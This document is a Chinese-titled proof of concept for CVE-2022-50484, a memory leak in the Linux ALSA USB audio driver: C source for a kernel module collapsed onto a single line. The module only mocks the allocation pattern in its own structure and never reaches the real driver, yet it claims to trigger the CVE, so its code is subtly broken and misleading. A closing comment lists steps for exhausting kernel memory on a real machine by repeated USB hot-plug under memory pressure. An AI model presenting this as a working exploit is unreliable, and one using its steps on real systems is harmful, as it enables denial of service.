CVE-2022-50484 Linux内核ALSA USB音频驱动内存泄漏漏洞

// CVE-2022-50484 PoC - Trigger URB memory leak in ALSA USB Audio driver // This PoC demonstrates how to trigger the memory leak by causing // -ENOMEM during sync endpoint URB allocation #include <linux/module.h> #include <linux/usb.h> #include <linux/slab.h> #include <linux/vmalloc.h> // Simulate the vulnerable allocation pattern from sound/usb/urb.c // In the original vulnerable code, ep->nurbs is set AFTER the loop, // causing partial URBs to leak on allocation failure. struct mock_usb_endpoint { int nurbs; // Number of URBs allocated (stays 0 on failure) void **urbs; // Array of URB pointers int urb_count; // Target URB count }; static int trigger_urb_leak(struct mock_usb_endpoint *ep) { int i; int target = 8; // Target number of URBs to allocate // VULNERABLE: nurbs is NOT set before the loop // ep->nurbs = target; // This line is MISSING in vulnerable code ep->urbs = kzalloc(sizeof(void *) * target, GFP_KERNEL); if (!ep->urbs) return -ENOMEM; for (i = 0; i < target; i++) { ep->urbs[i] = kzalloc(256, GFP_KERNEL); // Simulate URB allocation if (!ep->urbs[i]) { // -ENOMEM hit in middle of loop // ep->nurbs is still 0 here! return -ENOMEM; // Error handler will fail to free urb[0..i-1] } // ep->nurbs = i + 1; // Only set after success in vulnerable code } ep->nurbs = target; return 0; } // Kernel module init to simulate USB audio device hot-plug stress test static int __init cve_2022_50484_poc_init(void) { struct mock_usb_endpoint ep; int ret; int i; pr_info("CVE-2022-50484 PoC: Triggering URB memory leak\n"); // Stress test: repeatedly trigger allocation to exhaust memory for (i = 0; i < 1000; i++) { memset(&ep, 0, sizeof(ep)); ret = trigger_urb_leak(&ep); if (ret == -ENOMEM) { pr_info("Triggered ENOMEM at iteration %d, URBs leaked\n", i); // In vulnerable kernel, ep.urbs[0..partial] are never freed } } return 0; } static void __exit cve_2022_50484_poc_exit(void) { pr_info("CVE-2022-50484 PoC: Module unloaded\n"); } module_init(cve_2022_50484_poc_init); module_exit(cve_2022_50484_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2022-50484 ALSA USB Audio URB memory leak"); MODULE_AUTHOR("Security Analyst"); /* * To trigger this vulnerability on a real system: * 1. Apply memory pressure (e.g., run a memory-intensive workload) * 2. Connect a USB audio device that uses sync endpoints * 3. The driver will attempt to allocate URBs for sync endpoints * 4. Under memory pressure, -ENOMEM may occur mid-allocation * 5. Partially allocated URBs will be leaked * 6. Repeat steps 2-5 to accumulate leaked URBs and exhaust kernel memory */